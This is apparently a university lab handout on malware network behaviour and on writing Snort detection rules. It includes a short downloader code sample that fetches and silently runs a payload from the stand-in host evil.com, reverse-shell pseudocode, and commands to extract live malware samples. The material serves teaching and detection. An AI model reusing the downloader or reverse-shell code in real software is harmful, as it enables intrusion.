Lab: Malware Network Behavior and Network Signatures
- Lab: Malware Network Behavior and Network Signatures
This lab draws on Practical Malware Analysis Chapters 11 (Malware Behavior) and 14 (Malware-Focused Network Signatures). The four tasks below map directly to the week 6 lab objectives.
Lab Tasks
- Identify a downloader: find the hard-coded URL or domain in static analysis, then confirm the download behavior in dynamic analysis.
- Capture a reverse shell: use Wireshark to record the connection and reconstruct the full command stream.
- Beacon interval analysis: use Wireshark
Statistics → IO Graphto measure the C2 beacon interval. - Write a Snort rule: create a Snort-compatible signature to detect the C2 traffic you observed.
Background: Identifying Downloaders (Ch. 11)
A downloader fetches a second-stage payload and executes it. The two most common API patterns are:
// High-level COM-based download (one call)
URLDownloadToFileA(NULL, "http://evil.com/payload.exe",
"C:\\Windows\\Temp\\p.exe", 0, NULL);
WinExec("C:\\Windows\\Temp\\p.exe", SW_HIDE);
// WinINet manual download
HINTERNET h = InternetOpen("Mozilla/4.0", INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
HINTERNET u = InternetOpenUrl(h, L"http://evil.com/payload.exe", 0, 0, 0, 0);
InternetReadFile(u, buf, sizeof(buf), &read);
Static analysis checklist:
- Look for
URLDownloadToFile,InternetOpenUrl,WinExec,ShellExecutein the import table (PEview or Dependency Walker). - Search strings for
http://orhttps://— the URL is often hardcoded. - Low import count with only
VirtualAlloc/LoadLibrary/GetProcAddresssuggests a packer; unpack first.
Dynamic analysis confirmation:
- Run with INetSim or FakeNet-NG active and watch the DNS query and HTTP GET in Wireshark.
- In Process Monitor, filter on
Path contains .exeto see files written to disk. - In Process Explorer, check child processes created after the download completes.
Background: Reverse Shells (Ch. 11)
How Windows reverse shells work
The basic implementation uses CreateProcess with a STARTUPINFO structure where hStdInput, hStdOutput, and hStdError are all set to the same socket handle. This ties cmd.exe I/O directly to the attacker’s TCP connection.
Socket → connect(attacker_ip, port)
STARTUPINFO.hStdInput = socket
STARTUPINFO.hStdOutput = socket
STARTUPINFO.hStdError = socket
CreateProcess("cmd.exe", ..., STARTUPINFO, ...)
The multithreaded variant uses CreatePipe + two threads (one reads stdin pipe and writes to socket; one reads from socket and writes to stdout pipe), which allows data encoding between the shell and the network. Look for API calls to CreateThread, CreatePipe, and a socket connect.
What to look for in assembly: a call to CreateProcess immediately preceded by a STARTUPINFO structure where the hStd* fields are loaded from the same register that holds the connected socket handle.
Capturing in Wireshark
- Start capture before running the sample (with INetSim providing the listener or with a separate netcat listener).
- Filter:
tcp.port == 4444(or whatever port the sample uses). - Right-click the stream → Follow → TCP Stream to reconstruct the full shell session.
- The stream will show the commands the C2 sent and the output the shell returned.
Background: Network Signatures (Ch. 14)
From network indicators to signatures
A single run typically yields three types of indicators:
| Indicator type | Example | Stability |
|---|---|---|
| Domain name (with resolved IP) | www.badsite.com (123.123.123.10) |
Medium — attacker can change |
| IP address (standalone) | 123.64.64.64 |
Low — trivial to change |
| Content-based (HTTP fields, URI pattern) | User-Agent: Wefa7e |
High — requires code change |
Content-based indicators are most valuable because the attacker must modify compiled code to evade them.
Identifying the networking API
Three API families are used; the one present in the import table determines what headers and fields to look for:
| WinSock API | WinINet API | COM interface |
|---|---|---|
WSAStartup |
InternetOpen |
URLDownloadToFile |
socket / connect |
InternetConnect |
CoInitialize |
send / recv |
InternetReadFile |
CoCreateInstance |
WSAGetLastError |
HTTPOpenRequest |
Navigate |
HTTPSendRequest |
WinINet and COM produce traffic that looks more like a browser (same User-Agent construction path), making signatures harder to write. WinSock requires more manual content generation, which often introduces mistakes useful as signature anchors.
Sources of network content
Network data originates from one of five sources — this determines whether it can be used in a signature:
| Source | Example | Signature value |
|---|---|---|
| Hard-coded in malware | Fixed User-Agent string | High — stable across hosts and runs |
| Host attributes | gethostbyname(), CPU speed |
Medium — stable per host, varies between hosts |
| Time-derived | GetTickCount |
Low — varies each run (but length/encoding may be stable) |
| Random data | rand() call |
None for content — but length/character set may be stable |
| Standard library output | HTTP boilerplate from HTTPSendRequest |
None — identical to legitimate traffic |
Beacon interval analysis
- Open the capture in Wireshark.
- Statistics → IO Graph.
- Set the x-axis interval to 1s or 5s depending on suspected period.
- Watch for a regular spike pattern in the TCP packet count — that period is the beacon interval.
- Confirm by filtering
ip.dst == <c2_ip>and examining theTimecolumn in the packet list for consistent gaps.
A consistent interval is itself a signature element: combine it with a dsize or threshold clause in Snort.
Snort rule structure
A Snort rule has two parts: a header and options.
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS \
(msg:"TROJAN Malicious Beacon"; \
content:"User-Agent: Wefa7e"; \
classtype:trojan-activity; sid:9000001; rev:1;)
Rule options reference:
| Keyword | Purpose |
|---|---|
msg |
Alert message string |
content |
Byte string to match in payload |
uricontent |
Match in HTTP URI specifically |
pcre |
Perl-compatible regular expression |
flow |
established,to_server or established,to_client |
isdataat |
Assert data exists at a position (optionally relative to last match) |
distance |
Bytes to skip after previous content match |
within |
Maximum bytes to search after previous match |
nocase |
Case-insensitive content match |
classtype |
Rule category (e.g., trojan-activity) |
sid |
Unique rule ID |
rev |
Rule revision number |
reference |
Link to external documentation |
Pipe symbols enclose hex byte values: |0d 0a| represents CRLF.
Avoiding false positives:
- Test your rule against normal browsing traffic before declaring it production-ready.
- Use
content:!"<legitimate_string>"to exclude known-good traffic that matches your pattern. - Run the malware multiple times to distinguish static (hard-coded) from ephemeral (random/time-derived) content — only target static elements.
Writing resilient rules:
- Split the signature into multiple independent rules targeting different code regions. If the attacker changes one part, the others still fire.
- Prefer elements that appear on both the client and server side (require code changes at both endpoints to evade).
- Include the absence of expected fields as a signal: legitimate browsers include a
Refererheader that malware often omits.
Lab Files: Chapter 11
Lab files are distributed as a password-protected 7-Zip archive in the PracticalMalwareAnalysis-Labs repository on GitHub. Clone the repo and extract the archive inside your analysis VM (most AV products will quarantine the binaries the moment they hit disk):
$ git clone https://github.com/mikesiko/PracticalMalwareAnalysis-Labs.git
$ cd PracticalMalwareAnalysis-Labs
$ 7z x PracticalMalwareAnalysis-Labs.7z -pmalware
After extraction, each chapter’s files are under BinaryCollection/Chapter_<N>L/.
Lab 11-1 — Lab11-01.exe
Analyze this sample for downloader and credential-stealing behavior.
- What does the malware drop to disk?
- How does the malware achieve persistence?
- How does the malware steal user credentials?
- What does the malware do with stolen credentials?
- How can you use this malware to capture credentials from your test environment?
Hints: Check imports for URLDownloadToFileA and WinExec. Look for registry writes to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL — a GINA interceptor exports functions prefixed with Wlx. Run it in your analysis VM with Wireshark and INetSim active to see the credential exfiltration traffic.
Lab 11-2 — Lab11-02.dll + Lab11-02.ini
Analyze this DLL sample. Lab11-02.ini was found alongside it.
- What are the exports for this DLL?
- What happens after installing with
rundll32.exe? - Where must
Lab11-02.inireside for proper installation? - How is this malware installed for persistence?
- What user-space rootkit technique does it employ?
- What does the hooking code do?
- Which processes does it attack and why?
- What is the significance of the
.inifile? - How can you dynamically capture this malware’s activity with Wireshark?
Hints: IAT hooking replaces function pointers in the Import Address Table; inline hooking overwrites the first bytes of the target function with a jmp to malicious code. Use Process Monitor to watch for .ini file reads. In Wireshark, use Follow TCP Stream to reconstruct the exfiltrated data.
Lab 11-3 — Lab11-03.exe + Lab11-03.dll
Both files must be in the same directory during analysis.
- What interesting leads does basic static analysis reveal?
- What happens when you run the malware?
- How does
Lab11-03.exepersistently installLab11-03.dll? - Which Windows system file does the malware infect?
- What does
Lab11-03.dlldo? - Where does the malware store collected data?
Hints: Trojanized binaries patch the entry point of a legitimate DLL to jump to malicious code. Compare the MD5 of the suspected infected system binary with a known-good version. The malicious code typically does a pusha / popa to preserve registers, loads the payload, then jumps back to the original entry point.
Lab Files: Chapter 14
These labs focus on identifying and writing network signatures. Each lab builds on the previous.
Lab 14-1 — Lab14-01.exe
- Which networking libraries does the malware use, and what are their advantages?
- What source elements construct the networking beacon, and what conditions change it?
- Why might the embedded beacon information interest the attacker?
- Does the malware use standard Base64 encoding? If not, how is it unusual?
- What is the overall purpose of this malware?
- Which elements of the communication can be effectively detected by a network signature?
- What mistakes might analysts make trying to develop a signature?
- What set of signatures would detect this malware (including future variants)?
Approach: Run the malware under INetSim, capture traffic, then open in Wireshark. Identify the User-Agent string — is it hard-coded? Run it several times and compare the URI: if the URI changes but shares a structure, extract the static separators. Use static analysis (InternetOpen parameter) to find the hard-coded User-Agent. Map each field of the URI to its API source (GetTickCount, Random, gethostbyname) to determine what can and cannot anchor a signature.
Lab 14-2 — Lab14-02.exe
This sample beacons to a hard-coded loopback address (safe to run).
- What are the advantages and disadvantages of using direct IP addresses?
- Which networking libraries does this malware use?
- What is the source of the URL used for beaconing?
- Which aspect of HTTP does the malware leverage?
- What kind of information is in the initial beacon?
- What are the disadvantages in the design of the communication channels?
- Is the encoding scheme standard?
- How is communication terminated?
- What is the purpose of this malware?
Approach: Using direct IP addresses avoids DNS but makes the indicator trivial to block once the IP is known. Compare the networking API family (WinINet vs. WinSock) with Lab 14-1 and note the different evasion tradeoffs.
Lab 14-3 — Lab14-03.exe
This lab builds on Lab 14-1 and represents an improved version of the same malware family.
- What hard-coded elements are in the initial beacon? Which make good signature elements?
- Which beacon elements are not suited for a long-lasting signature?
- How does the malware obtain commands? What chapter example used a similar approach?
- When the malware receives input, what validation checks does it perform, and how does it hide the command list?
- What encoding is used for command arguments? How does it differ from standard Base64?
- What commands are available?
- What is the purpose of this malware?
- What distinct areas of code or configuration can be targeted by independent signatures?
- What set of signatures should be used?
Approach: This sample embeds commands inside HTML comment fields (<!-- adsrv?<base64> -->). Find the parsing function by working backward from the network receive call. The command prefix (adsrv?) is a strong static anchor. Write separate signatures for the beacon and the command channel so that if the attacker modifies one, the other still fires.
Suggested Workflow for All Four Lab Tasks
Task 1 — Find the downloader URL
- Open the sample in IDA or Ghidra (or run
strings/floss). - Search for
http://orhttps://strings. - Check imports for
URLDownloadToFile,InternetOpenUrl,WinExec. - Run under INetSim; filter Wireshark on
httpto confirm the GET request and the domain queried. - Note the User-Agent string — it is often hard-coded and usable in a signature.
Task 2 — Capture the reverse shell
- Start a Wireshark capture and INetSim (or a manual
nc -lvp <port>listener). - Run the sample; let it connect.
- Filter:
tcp.port == <port>. - Right-click any packet in the stream → Follow → TCP Stream.
- The reconstructed stream shows the shell prompt and any issued commands.
Task 3 — Measure the beacon interval
- Capture 5+ minutes of traffic with the sample running.
- Statistics → IO Graph.
- Set x-axis interval to 5s; look for a regular spike.
- Zoom to confirm the period is consistent (± a few seconds of jitter is normal).
- Report the interval in seconds and note whether it changes after initial check-in.
Task 4 — Write the Snort rule
- Identify the most stable element in the traffic (typically the User-Agent or a URI pattern).
- Run the malware at least three times and compare outputs — exclude anything that differs.
- Check whether the
Refererheader is absent (common malware tell). - Draft a rule targeting the stable element plus the absent header:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS \
(msg:"TROJAN Lab Beacon"; \
content:"User-Agent: <static_string>"; \
content:!"|0d 0a|Referer:"; \
classtype:trojan-activity; sid:9000100; rev:1;)
- If the URI contains encoded data, use
pcreto match the stable structure while allowing the variable portions to vary. - Consider writing a second rule targeting a different aspect of the communication so that partial code changes by the attacker do not silence all detection.
Tools Summary
| Tool | Use in this lab |
|---|---|
| IDA Pro / Ghidra | Static analysis: find URL strings, identify networking API, trace encoding logic |
| Wireshark | Capture traffic, Follow TCP Stream, IO Graph for beacon interval |
| INetSim / FakeNet-NG | Simulate network services so the malware proceeds past connectivity checks |
| Process Monitor | Watch file writes, registry modifications during downloader execution |
| strings / floss | Quick extraction of URLs, User-Agent strings, and encoded blobs |
| Snort / Suricata | Load and test your signature against the capture |
Further Reading
- Sikorski & Honig, Practical Malware Analysis, Ch. 11 — Malware Behavior
- Sikorski & Honig, Practical Malware Analysis, Ch. 14 — Malware-Focused Network Signatures
- Emerging Threats rule set — community Snort/Suricata rules for reference
- Snort rule writing guide — official documentation